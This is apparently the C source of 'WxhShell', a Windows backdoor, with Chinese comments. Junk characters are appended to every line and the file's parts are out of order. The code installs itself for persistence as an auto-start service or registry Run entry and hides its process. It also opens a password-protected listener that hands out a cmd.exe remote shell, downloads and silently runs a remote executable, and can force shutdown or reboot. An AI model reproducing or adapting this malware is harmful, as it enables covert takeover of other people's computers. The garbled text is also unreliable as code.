    if(Boot(SHUTDOWN)) U4!KO;Jc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h vYRAQR:  
    else { x []ad"R  
    closesocket(wsh);  =1Sny7G  
    ExitThread(0); VP#KoX85  
    } yI: ;+K  
    break; x2B8G;6u  
    } %P0  
  // 获取shell I<D#   
  case 's': { \AwkK3  
    CmdShell(wsh); u}nSdZC  
    closesocket(wsh); <,)R`90_X6  
    ExitThread(0); sq2:yt  
    break; zTa5 N  
  } ,JZ>)(@)  
  // 退出 zQyI4RHG[  
  case 'x': { ./F:]/Mt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "UTW(~D'  
    CloseIt(wsh); "/zgh  
    break; /i,n75/y?  
    } i3w~&y-  
  // 离开 KkCGL*]K  
  case 'q': { o.ZR5`.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $+Ze"E  
    closesocket(wsh); fd )v{OC  
    WSACleanup(); M^Sa{S*?  
    exit(1); DquL r+s~  
    break; kkjugm{D7  
        } Vc9rc}  
  } F}}!e.>c  
  } e\V -L_  
F^.A~{&L  
  // 提示信息  T01Iu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Fft[S(  
} FoetP`   
  } "Pwa}{  
EX8+3>)  
  return; *a Z1 4  
} 9O 'j+?(`@  
<MbhBIejr  
// shell模块句柄 \\R}3 >Wc  
int CmdShell(SOCKET sock) bG]0|  
{ qnp}#BZ  
STARTUPINFO si; Z<;W*6J  
ZeroMemory(&si,sizeof(si)); ?0; 2ct  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %+l95Dv1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n[Q(q[ULV  
PROCESS_INFORMATION ProcessInfo; zP44 Xhz  
char cmdline[]="cmd"; `E$vWZq}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dL$ iTSfz"  
  return 0; $9X+dvu*  
} z,aMbgt  
gF,=rT1:>r  
// 自身启动模式 T_D3WHp  
int StartFromService(void) >Hnm.?-AWl  
{ Uoe{,4T  
typedef struct P*6m~`"5  
{ ]AYP\\Xi  
  DWORD ExitStatus; $eFMn$o  
  DWORD PebBaseAddress; 9qftMDLZJ\  
  DWORD AffinityMask; +;~N; BT  
  DWORD BasePriority; IB;yL/T  
  ULONG UniqueProcessId; 7Y8~ ")f  
  ULONG InheritedFromUniqueProcessId; W_}j~[&  
}   PROCESS_BASIC_INFORMATION; "B{3q`(  
M#gxi N  
PROCNTQSIP NtQueryInformationProcess; a<&K^M&  
q KD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0I.KHIB k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~LuGfPO^  
$bG*f*w  
  HANDLE             hProcess; xS1|t};  
  PROCESS_BASIC_INFORMATION pbi; x#`p.sfVo  
B/;> v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nz3*s#k\-  
  if(NULL == hInst ) return 0; <J<"`xKL  
Yk|6?e{+)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (?Mn_FNE|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b1?^9c#0d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _-C/s p^   
lMFo)4&P  
  if (!NtQueryInformationProcess) return 0; qGA|.I9,  
^UKAD'_#%O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x:Q\pZ  
  if(!hProcess) return 0; 3JGrJ!x  
ESB^"|9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "<=4]Z  
$0 .6No_|  
  CloseHandle(hProcess); -| FHv+  
$Y7VA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KdkL_GSLT  
if(hProcess==NULL) return 0; i(|u g_^  
)vO"S  
HMODULE hMod; eE'P)^KV  
char procName[255]; C4(xtSJSd!  
unsigned long cbNeeded; U*~-\jN1pb  
(e'8>Pv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Of(O!  
`/[5/%  
  CloseHandle(hProcess); , ~ 1+MZ=  
"Vq= Ph  
if(strstr(procName,"services")) return 1; // 以服务启动 2L&c91=wE  
=x -7 Wy  
  return 0; // 注册表启动 6m$X7;x}  
} sY!JB7!j  
EK4%4<"  
// 主模块 i975)_X(  
int StartWxhshell(LPSTR lpCmdLine) Nqj@p<y/q  
{  `vH|P  
  SOCKET wsl; WkiT,(i  
BOOL val=TRUE; {A==av  
  int port=0; i!2k f  
  struct sockaddr_in door; OpaRQ=  
k{mBG9[z  
  if(wscfg.ws_autoins) Install(); _+48(Q F<  
"BT M,CB  
port=atoi(lpCmdLine); = z mxki  
(W h)Ov"  
if(port<=0) port=wscfg.ws_port; N*36rR$^  
!U% |pa  
  WSADATA data; ; +\h$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UdrgUqq)  
*{VC<<`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =u}~\ 'd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eHvUgDt  
  door.sin_family = AF_INET; MxpAh<u!vF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0JtM|Mg  
  door.sin_port = htons(port); 02Vfg42  
X`_tm3HC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xwo *kFg  
closesocket(wsl); }kt%dDU  
return 1; [[c0g6  
} C:No ^nH>  
ifS#9N|8  
  if(listen(wsl,2) == INVALID_SOCKET) { eikZ~!@  
closesocket(wsl); <B>qE a_I  
return 1; 1Z ~C3)T=  
} O>~@>/#  
  Wxhshell(wsl); }*bp4<|  
  WSACleanup(); )w4U]inJ$"  
FiMM-c|  
return 0; U+'zz#0qN  
tRI<K  
} d8;kM`U  
DX!dU'tj  
// 以NT服务方式启动 564L.^$@|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Eb~vNdPo  
{ ! $mY.uu  
DWORD   status = 0; 7yu-xnt3s  
  DWORD   specificError = 0xfffffff; I )yaR+l  
e 1XKlgl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H0&wn#);6R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |_ED*ATR=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ??aO3Vm{  
  serviceStatus.dwWin32ExitCode     = 0; ;76+J)  
  serviceStatus.dwServiceSpecificExitCode = 0; ,sSo\%  
  serviceStatus.dwCheckPoint       = 0; 3r#['UmT  
  serviceStatus.dwWaitHint       = 0; muXP5MO  
7WH'GoBh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]v}W9{sY  
  if (hServiceStatusHandle==0) return; oUsfO-dET^  
z*.G0DFw  
status = GetLastError(); e46`"}r  
  if (status!=NO_ERROR) 9 Vq   
{ Sr Nc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p4IyKry,  
    serviceStatus.dwCheckPoint       = 0; f_PH?  
    serviceStatus.dwWaitHint       = 0; p>pN?53S  
    serviceStatus.dwWin32ExitCode     = status; !GvT{  
    serviceStatus.dwServiceSpecificExitCode = specificError; nygGI_[l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DcFY b|p  
    return; jA{B G_  
  } *=B<S/0  
K:-jn}i?/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C3^3<  
  serviceStatus.dwCheckPoint       = 0; HaL'/V~  
  serviceStatus.dwWaitHint       = 0; Y?1T XsvF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zmZU"eWp)  
} *YH!L{y  
`D=OEc  
// 处理NT服务事件,比如:启动、停止 p @q20>^u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d , g~.iS~  
{ 4 y}z+4  
switch(fdwControl) ^W=hs9a+F  
{ 'LG\]h>+)  
case SERVICE_CONTROL_STOP: j<)$ [v6  
  serviceStatus.dwWin32ExitCode = 0; J V}7c$_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ORKJy )*"  
  serviceStatus.dwCheckPoint   = 0; L'$\[~Ug  
  serviceStatus.dwWaitHint     = 0; ; Yc\O:Qq  
  { "qC3%9e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cp!9 "J:  
  } yn+m,K/  
  return; K)x6F 15r  
case SERVICE_CONTROL_PAUSE: D1deh=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /|NyO+Io  
  break; ik?IC$*n3i  
case SERVICE_CONTROL_CONTINUE: fA?Wf[`x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y ?~n6<  
  break; :T PG~`k(  
case SERVICE_CONTROL_INTERROGATE: X`&Us  
  break; aBQ--Sz  
}; cEp/qzAiD%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Gb^%1%M  
} i)cG  
tMU10=d  
// 标准应用程序主函数 aVV E 2:M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E{-pkqx  
{ 8  rE`  
D5@}L$ u  
// 获取操作系统版本 7 v3%dCvf  
OsIsNt=GetOsVer(); P*Jk 8MK#G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >~_>.R+{  
b)XGr?  
  // 从命令行安装 R(y`dQy<K  
  if(strpbrk(lpCmdLine,"iI")) Install(); b!SIs*  
Y8s-cc(  
  // 下载执行文件 70*yx?TV  
if(wscfg.ws_downexe) { 26zif  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c}=[r1M*  
  WinExec(wscfg.ws_filenam,SW_HIDE); {az LtTh  
} 1Ogtzf  
hI<$lEB  
if(!OsIsNt) { 9p02K@wkD  
// 如果时win9x,隐藏进程并且设置为注册表启动 >i1wB!gc8  
HideProc(); 3e;K5qSeo/  
StartWxhshell(lpCmdLine); Y\1&  Uk  
} `i!-@WN"  
else ;''S} ;  
  if(StartFromService()) zS?}3#g0u  
  // 以服务方式启动 $:D L+E-}  
  StartServiceCtrlDispatcher(DispatchTable); 'i/"D8  
else ~fgS"F^7n  
  // 普通方式启动 .d)H2X  
  StartWxhshell(lpCmdLine); 3@;24X  
;P|v'NNI  
return 0; H:1F=$0I9  
} _{i- .;K  
xdsF! Zb  
 mxvV~X %  
{\!@ k\__  
=========================================== .|kp`-F51  
Ce3  
T:j!a{_|  
DGAg#jh  
c*> SZ'T\  
\l;H !y[  
" Q F_K^(  
+7)/SQM5  
#include <stdio.h> dI8y}EbE~  
#include <string.h> BtWm ZaKi  
#include <windows.h> xF9PjnWF=  
#include <winsock2.h> o|a]Q  
#include <winsvc.h> n)teX.ck)  
#include <urlmon.h> iuq%Q\0@w  
b{JxTT}03  
#pragma comment (lib, "Ws2_32.lib") o{QPW  
#pragma comment (lib, "urlmon.lib") !}uev  
;,_c1x/F  
#define MAX_USER   100 // 最大客户端连接数 ?jBh=X\]:  
#define BUF_SOCK   200 // sock buffer POUD*(DqNK  
#define KEY_BUFF   255 // 输入 buffer 9=^4p=1J  
.l&<-l;UQ  
#define REBOOT     0   // 重启 </d&bS  
#define SHUTDOWN   1   // 关机 D8_-Dvp7H  
[W,maT M"  
#define DEF_PORT   5000 // 监听端口 +4p gPv  
Vt," 5c  
#define REG_LEN     16   // 注册表键长度 I:#Es.  
#define SVC_LEN     80   // NT服务名长度 O/Wc@Ln  
BcTV5Wcr  
// 从dll定义API m&#a M8:\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %g&i.2v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =}AwA5G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A|U_$!cLZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D3%`vq u&  
vo DTU]pf  
// wxhshell配置信息 'roZ:NE  
struct WSCFG { x-{awP  
  int ws_port;         // 监听端口 *[_>d.i  
  char ws_passstr[REG_LEN]; // 口令 AU +2'  
  int ws_autoins;       // 安装标记, 1=yes 0=no s8N\cOd#i  
  char ws_regname[REG_LEN]; // 注册表键名 #(NkbJ5ka  
  char ws_svcname[REG_LEN]; // 服务名 BK:S:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vl}uHdeP9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Sg52zv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^E8eW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~\m|pxcj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NLxsxomj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q:B:  
@v,qfT*k7  
}; MoP 0qNk  
M9b_Q  
// default Wxhshell configuration :3Z"Qk$uR  
struct WSCFG wscfg={DEF_PORT, fOyLBixR  
    "xuhuanlingzhe", m<;&B   
    1, sf5koe  
    "Wxhshell", az]S&\i7T  
    "Wxhshell", ='cr@[~i  
            "WxhShell Service", 4RqOg1  
    "Wrsky Windows CmdShell Service", DNaU mz  
    "Please Input Your Password: ", 7L:$Amb_F  
  1, ;-d :!*  
  "http://www.wrsky.com/wxhshell.exe", o5FBqt  
  "Wxhshell.exe" obE_`u l#  
    }; 93d ht  
B6b {hsO  
// 消息定义模块 [sY>ac  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `QlChxd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0 .dSP$e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |EaEdA@T  
char *msg_ws_ext="\n\rExit."; =e,2/Ep{i  
char *msg_ws_end="\n\rQuit."; 8Mq] V v  
char *msg_ws_boot="\n\rReboot..."; U:`g12  
char *msg_ws_poff="\n\rShutdown..."; `?VB)  
char *msg_ws_down="\n\rSave to "; oY{r83h{  
h&vq}  
char *msg_ws_err="\n\rErr!"; |f~p3KCfV  
char *msg_ws_ok="\n\rOK!"; 'I_\ELb_  
{^bs }($J  
char ExeFile[MAX_PATH]; +'x`rk  
int nUser = 0; xla9:*pPn  
HANDLE handles[MAX_USER]; toEmIa~o6  
int OsIsNt; *Gm%Dn  
{=> <@]N  
SERVICE_STATUS       serviceStatus; NTVdSK7z~H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *r+i=i8{  
zKWcDbj  
// 函数声明 |T9p#) ec2  
int Install(void); (6G5UwSt  
int Uninstall(void); RCq_FY  
int DownloadFile(char *sURL, SOCKET wsh); KutR l$,  
int Boot(int flag); ;Q2p~-0Q  
void HideProc(void);  wYS,|=y  
int GetOsVer(void); QO)Q%K,  
int Wxhshell(SOCKET wsl); 16YJQ ue  
void TalkWithClient(void *cs); G~e`O,+  
int CmdShell(SOCKET sock); Px}#{fkS  
int StartFromService(void); @qH<4`y.^  
int StartWxhshell(LPSTR lpCmdLine); -C5Qh&~W  
SD6xi\8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CV 4r31w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vpUS(ztvs  
/9WR>NUAO  
// 数据结构和表定义 *IGgbg[0  
SERVICE_TABLE_ENTRY DispatchTable[] = n5%rsNxg  
{ eGblQGRS  
{wscfg.ws_svcname, NTServiceMain}, 81/Bn!  
{NULL, NULL} quU%9m \S`  
}; 0@t/j<5o  
3e:"tus~  
// 自我安装 ?(!$vqS`f(  
int Install(void) atFj Vk^  
{ #:3E.=  
  char svExeFile[MAX_PATH]; 59p'Ega.  
  HKEY key; 5HioxHL  
  strcpy(svExeFile,ExeFile); Xt/muV  
<vA^%D<\~  
// 如果是win9x系统,修改注册表设为自启动 yKa}U!$   
if(!OsIsNt) { VWmZ|9Ri  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o;\0xuM@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v. ,C"^W  
  RegCloseKey(key); {JzX`Z30l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Hs>+Udl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y'Jb@l`$-  
  RegCloseKey(key); ^^%sPtp  
  return 0; rsvZi1N4w$  
    } o_EXbS]C  
  } } CJQC  
} d"nE+pgE  
else { z_< 7T4  
%"DEgI P  
// 如果是NT以上系统,安装为系统服务 6lq7zi}'w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \p.Byso,  
if (schSCManager!=0) '\ dFhYs{*  
{ NJ 7N*   
  SC_HANDLE schService = CreateService ^gh/$my;  
  ( 2[Q*?N  
  schSCManager, wI}5[m  
  wscfg.ws_svcname, E'&UWD h  
  wscfg.ws_svcdisp, 7##nY3",^  
  SERVICE_ALL_ACCESS, ^`\c;!)F<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v)+wr[Qs  
  SERVICE_AUTO_START, z(3mhMJY  
  SERVICE_ERROR_NORMAL, yGH'|`  
  svExeFile, ZqkP# ]+Y'  
  NULL, JQE^ bcr  
  NULL, .7Ys@;>B  
  NULL, @=b0>^\m  
  NULL, As1Er[>  
  NULL aM3%Mx?w  
  ); f| 3`8JU  
  if (schService!=0) =2)5_/9au  
  { OsAXHjX}  
  CloseServiceHandle(schService); czb(&><  
  CloseServiceHandle(schSCManager); .F?yt5{5No  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `t:7&$>T  
  strcat(svExeFile,wscfg.ws_svcname); T2} I,{U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <i~ ( 8F\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <h U ZD;  
  RegCloseKey(key); 1p23&\\~  
  return 0; Nj.(iBmr  
    } }!& w<wR  
  } /^#k /z  
  CloseServiceHandle(schSCManager); E[t\LTt*n  
} CjOaw$s  
} |VlAt#E  
o]}b#U8S  
return 1; pt(GpbtWK  
} zV4%F"-  
[t<^WmgtxL  
// 自我卸载 #'^p-Jdm  
int Uninstall(void) IL}pVa00{n  
{ /,/T{V[  
  HKEY key; @o44b!i  
r1-?mMSU&  
if(!OsIsNt) { /pFg<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )wpBxJ;dB}  
  RegDeleteValue(key,wscfg.ws_regname); C\.?3  
  RegCloseKey(key); u$&7fmZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v.cB3/$ z  
  RegDeleteValue(key,wscfg.ws_regname); zScV 9,H1  
  RegCloseKey(key); h^~eTi;c]Q  
  return 0; \H<'W"  
  } )(\5Wk9(  
} A,lcR:@w  
} QXq~e  
else { 8:$kFy\A'  
Q2^}NQO=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M$%aX,nk'  
if (schSCManager!=0) sryujb.,  
{ 0UWLs_k:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W}WGg|ug  
  if (schService!=0) )+oDa{dZ  
  { 1 < <`T%&  
  if(DeleteService(schService)!=0) { C?bPdJ,6  
  CloseServiceHandle(schService); t{!}^{ "5  
  CloseServiceHandle(schSCManager); emw3cQ  
  return 0; /.$n>:XR  
  } @6 gA4h  
  CloseServiceHandle(schService); N ^h,[  
  } z mrk`o~  
  CloseServiceHandle(schSCManager); =:6Y<ftC  
} f&8&UL>e`  
} 5p94b*l  
i layU  
return 1; _9#4  
} (LTm!"Q  
U&wVe$  
// 从指定url下载文件 %=S^{A  
int DownloadFile(char *sURL, SOCKET wsh) ;r^8In@6  
{ 6g@j,iFy  
  HRESULT hr; :5U(}\dL{  
char seps[]= "/"; 2p@Rr7  
char *token; Qgo0uu M  
char *file; @w,-T@nAW  
char myURL[MAX_PATH]; 26 o68U8&y  
char myFILE[MAX_PATH]; g?^o++  
O#Xq0o  
strcpy(myURL,sURL); +To{Tm-  
  token=strtok(myURL,seps); &Zd{ElM  
  while(token!=NULL) jf*M}Q1jHE  
  { K$ #(\-M  
    file=token; ;|soc:aH  
  token=strtok(NULL,seps); 2!7wGXm~U  
  } 9i yNR!  
, YTuZS  
GetCurrentDirectory(MAX_PATH,myFILE); < I8hy$+6  
strcat(myFILE, "\\"); f/*Xw{s#  
strcat(myFILE, file); wcsUb 9(  
  send(wsh,myFILE,strlen(myFILE),0); ysGK5kFz  
send(wsh,"...",3,0); +7^%fX;3pW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r<UZ\d -  
  if(hr==S_OK) $khWu>b  
return 0; |M)'@s:  
else ;5PXPpJ  
return 1; QC \8Zy  
?bmP<(N5/  
} rzLpVpTaz  
-+Kx^V#'R  
// 系统电源模块 LUHj3H  
int Boot(int flag) Zh{Pzyp  
{ \gDf&I  
  HANDLE hToken; 9,`WQ+OI  
  TOKEN_PRIVILEGES tkp; #=OKY@z/  
DNLqipUw  
  if(OsIsNt) { ;} Ty b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U $# ?Lw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Cc$!TZq=  
    tkp.PrivilegeCount = 1; "n}J6   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (Z,v)TOXjV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g&`e2|[7  
if(flag==REBOOT) { !X` 5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $!G7u<`na  
  return 0; Rd&2mL  
} r0+lH:G*q  
else { jdK~]eld=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5qt]~v%y  
  return 0; ]EnB`g(4;  
} #@w8wCj  
  } $k,Z)2  
  else { Qo4]_,kR  
if(flag==REBOOT) { SGXXv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r? nvJHP  
  return 0; )iNM jg  
} ='`z  
else { }TzMWdT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n;@PaE^8=  
  return 0; ^ r-F@$:.  
} !trt]?*-  
} *T-+Pm-Cq  
mKugb_d?  
return 1; $5yH(Z[[  
} 4/;hA z  
~Z9Eb|B  
// win9x进程隐藏模块 VUpa^R  
void HideProc(void) .vE=527g)  
{ EiQX* v  
48hu=,)81*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /{>$E>N;  
  if ( hKernel != NULL ) X; I:i%-  
  { O-J;iX}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <o@&I " o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W/!M eTU&E  
    FreeLibrary(hKernel); $M{MOehZ  
  } $&& mGD;?K  
JL[$B1  
return; #5)0~4%l  
} 'n4Ro|kA  
cyrVz4_a  
// 获取操作系统版本 1/X@~  
int GetOsVer(void)  yY_(o]k  
{ l/1u>'  
  OSVERSIONINFO winfo;  ?QxI2J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i[_ (0P+Da  
  GetVersionEx(&winfo); uu ahR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ne<={u%  
  return 1; )3K#${p  
  else rQmDpoy=  
  return 0; p7et>;WRx  
} `_%U K=m  
HYcLXhvgu  
// 客户端句柄模块 sZe$?k|  
int Wxhshell(SOCKET wsl) Lzmdy0!'  
{ <A|X4;  
  SOCKET wsh; 21NGsG  
  struct sockaddr_in client; :rxS &5  
  DWORD myID; O[}{$NXw  
w>#{Nl7gz  
  while(nUser<MAX_USER) { 0\Ez}  
{ ~8 >Tb  
  int nSize=sizeof(client); +85#`{ D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J)7\k$D  
  if(wsh==INVALID_SOCKET) return 1;  +kA>^  
\^o8qw'pt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -M]B;[^  
if(handles[nUser]==0) hcn $uyP  
  closesocket(wsh); OBb m?`[  
else E_q/*}]pE  
  nUser++; BF^dNgn+%K  
  } 5(wmy-x\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $4>(}  
4X-"yQ<U  
  return 0; EdL2t``  
} 87!D@Xn  
M)x6m|.=  
// 关闭 socket .lsD+}  
void CloseIt(SOCKET wsh) )Ehi 8  
{ }K .Rv(m  
closesocket(wsh); 6ZO6 O=KD  
nUser--; In[rxT~K}Q  
ExitThread(0); J.E Bt3  
} }b5omHUE%  
3Pu8IXW  
// 客户端请求句柄 }VU^ 8D  
void TalkWithClient(void *cs) ai7R@~O:_k  
{ DC samOA~  
mXYG^}  
  SOCKET wsh=(SOCKET)cs; xzi_u.iOP  
  char pwd[SVC_LEN]; 1Clid\T,o  
  char cmd[KEY_BUFF]; W [*Go  
char chr[1]; c,2OICj  
int i,j; eA{ nwtN  
&\>=4)HB;  
  while (nUser < MAX_USER) { [psZc'q  
`uKsFX M  
if(wscfg.ws_passstr) {  -uKTEG[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u^O!5 'D%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eo@kn yA<&  
  //ZeroMemory(pwd,KEY_BUFF); kYhV1I  
      i=0; z''ejq  
  while(i<SVC_LEN) { ZveNe~D7C  
.FN;3HU  
  // 设置超时 .@Lktc  
  fd_set FdRead; tj? %{L  
  struct timeval TimeOut; T@Bu Fr`]<  
  FD_ZERO(&FdRead); {Gr"lOi*@  
  FD_SET(wsh,&FdRead); 3'Hz,qP  
  TimeOut.tv_sec=8; /Rf,Rjs  
  TimeOut.tv_usec=0; y7t'I.E[+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'fs tfk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ew \WV "  
{ 2%'=v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Qn l)JB  
  pwd=chr[0]; 4]HW!J  
  if(chr[0]==0xd || chr[0]==0xa) { J-|&[-Z  
  pwd=0; soRY M  
  break; <vE|QxpR  
  } cL<,]%SkE  
  i++; i[?VF\Y(  
    } e^<'H  
qSDn0^y  
  // 如果是非法用户,关闭 socket h<Ct[46,S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <O1os"w  
} : ?}mu1  
Bq;GO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^AShy`o^X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oiIl\#C  
2FW"uYA;6  
while(1) { )QW hzY  
[7Q%c!e$*  
  ZeroMemory(cmd,KEY_BUFF); jJaMkF;f  
KYZ#.f@  
      // 自动支持客户端 telnet标准   =]5f\f6  
  j=0; 2">de/jS  
  while(j<KEY_BUFF) { =W;e9 6#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lX-i<0`  
  cmd[j]=chr[0]; ,>01Cs=t8  
  if(chr[0]==0xa || chr[0]==0xd) { vsyg u  
  cmd[j]=0; |VzXcV-"8)  
  break; 2~ 4&4  
  } `dD_"Hdt  
  j++; %Oo f/q  
    } o<J6KTLv  
@)x*62r+  
  // 下载文件 L+VQtp &"  
  if(strstr(cmd,"http://")) { j74hWz+p4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |d z2Drc  
  if(DownloadFile(cmd,wsh)) h1"|$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :\I*_00!  
  else Y+o\?|q-E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yoJ.[M4q  
  } @e&0Wk  
  else { o<iU;15  
O) TS$  
    switch(cmd[0]) { ?;_>BX|Zjl  
  gwsIzYV  
  // 帮助 =E> P,"D  
  case '?': { {;E6jw@  
